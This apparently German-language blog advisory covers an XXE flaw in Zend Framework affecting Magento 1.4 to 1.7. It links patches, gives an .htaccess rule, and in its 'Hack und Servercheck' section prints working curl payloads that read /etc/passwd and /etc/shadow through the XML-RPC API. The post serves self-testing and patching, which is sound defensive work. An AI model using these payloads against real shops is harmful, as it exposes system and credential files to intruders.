Vor kurzer Zeit wurde ein Sicherheitsproblem im Zend Framework festgestellt, durch eine Sicherheitslücke gelingt es Server-Systemdateien sowie die local.xml vom Magento (enthält Datenbankdaten) auslesen zu können. Das Problem betrifft Magento-Versionen 1.4 bis 1.7.
Bugfix
Einfach den Link aufrufen und die enthaltenen Änderungen an der Zend Framework Datei durchführen.
1 2 3 | http://www.magentocommerce.com/downloads/assets/1.7.0.2/CE_1.4.0.0-1.4.1.1.patch http://www.magentocommerce.com/downloads/assets/1.7.0.2/CE_1.4.2.0.patch http://www.magentocommerce.com/downloads/assets/1.7.0.2/CE_1.5.0.0-1.7.0.1.patch |
Zusätzlich kann das Problem durch ein komplettes deaktivieren der RPC-Api mit .htaccess umgangen werden.
1 | RedirectMatch 404 /api/xmlrpc.* |
Hack und Servercheck
Also wie gesagt, ist es möglich Systemdateien auszulesen. Zum testen eures Servers könnt Ihr folgende Befehle auf der Bash ausführen und euer System testen:
1 2 | ///etc/passwd enthält die Benutzerdaten und BenutzerIds curl -k -d '<?xml version="1.0"?><!DOCTYPE foo [ <!ELEMENT methodName ANY ><!ENTITY xxe SYSTEM "file:///etc/passwd" >]><methodCall><methodName>&xxe;</methodName></methodCall>' http://www.EUER-SHOP.de/api/xmlrpc |
1 2 | ///etc/shadow enthält verschlüsselte Passwörter curl -k -d '<?xml version="1.0"?><!DOCTYPE foo [ <!ELEMENT methodName ANY ><!ENTITY xxe SYSTEM "file:///etc/shadow" >]><methodCall><methodName>&xxe;</methodName></methodCall>' http://www.EUER-SHOP.de/api/xmlrpc |
Ausgaben:
Datei nicht vorhanden: Method "" does not exist
Datei nicht lesbar: Failed to parse requestclear
Wenn der Angriff klappt, wird der Inhalt der entsprechenden Datei ausgegeben.